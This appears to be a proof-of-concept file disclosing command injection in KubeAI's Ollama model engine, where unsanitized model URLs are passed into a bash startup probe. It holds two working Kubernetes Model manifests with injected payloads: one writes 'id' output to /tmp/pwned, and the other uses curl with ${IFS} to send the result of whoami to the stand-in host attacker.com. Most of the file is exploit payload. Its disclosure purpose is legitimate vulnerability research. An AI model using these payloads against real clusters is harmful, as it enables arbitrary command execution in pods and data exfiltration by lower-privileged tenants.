# PoC: Command Injection via Model URL in KubeAI Ollama Engine # # Vulnerability: The ollamaStartupProbeScript() function in # internal/modelcontroller/engine_ollama.go constructs a shell command # using fmt.Sprintf with unsanitized model URL components (ref, modelParam). # # The startup probe is executed as: bash -c "" # # Attack vectors: # 1. Via `ref` (the URL path): ollama://registry/model;INJECTED_CMD # 2. Via `?model=` query param: pvc://my-pvc?model=qwen2;INJECTED_CMD # # Impact: Arbitrary command execution inside the model server Pod. # In multi-tenant K8s clusters, a user with Model CRD creation RBAC # (but not cluster-admin) can execute arbitrary commands in model pods. # # Prereq: Ability to create/update Model CRDs in the KubeAI namespace. # # Tested on: KubeAI commit ba1824e (HEAD as of 2026-03-21) # # PoC 1: Command injection via ollama:// URL ref --- apiVersion: kubeai.org/v1 kind: Model metadata: name: poc-cmd-inject spec: features: ["TextGeneration"] engine: OLlama # The semicolon breaks out of the ollama pull command # and executes the injected command url: "ollama://registry.example.com/model;id>/tmp/pwned;echo" minReplicas: 1 maxReplicas: 1 # When deployed, the startup probe script becomes: # /bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \ # /bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject && \ # /bin/ollama run poc-cmd-inject hi # # The `id>/tmp/pwned` command runs and writes the output of `id` to /tmp/pwned --- # PoC 2: Command injection via PVC model param apiVersion: kubeai.org/v1 kind: Model metadata: name: poc-cmd-inject-pvc spec: features: ["TextGeneration"] engine: OLlama # The ?model= parameter is injected unsanitized into the shell command url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo" minReplicas: 1 maxReplicas: 1 # When deployed, the startup probe script becomes: # /bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc && \ # /bin/ollama run poc-cmd-inject-pvc hi